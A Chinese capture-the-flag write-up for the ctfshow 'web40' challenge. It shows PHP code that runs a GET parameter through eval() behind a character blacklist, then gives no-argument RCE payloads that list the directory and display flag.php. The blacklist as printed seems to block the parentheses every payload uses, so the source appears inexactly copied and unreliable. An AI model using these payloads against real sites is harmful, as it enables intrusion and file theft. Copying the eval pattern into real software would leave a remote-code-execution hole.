ctfshow web40(命令执行)
·

源码
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤的有点多了,使用无参RCE
先看看我们的这个文件夹里有没有flag.php
?c=print_r(scandir(dirname(__FILE__)));

然后我们需要定位他
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
然后高亮显示
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

下面解释一下上面用到的php
__FILE__:当前文件
dirname(__FILE__):拿到当前文件的路径
scandir():列出该文件夹下所有文件/文件夹,形成正序数组
next():第二个元素,跳过第一个
array_reverse():把数组倒叙,让新增文件排到前面
print_r():直接显示flag文件名,无需查看完整数组
更多推荐


所有评论(0)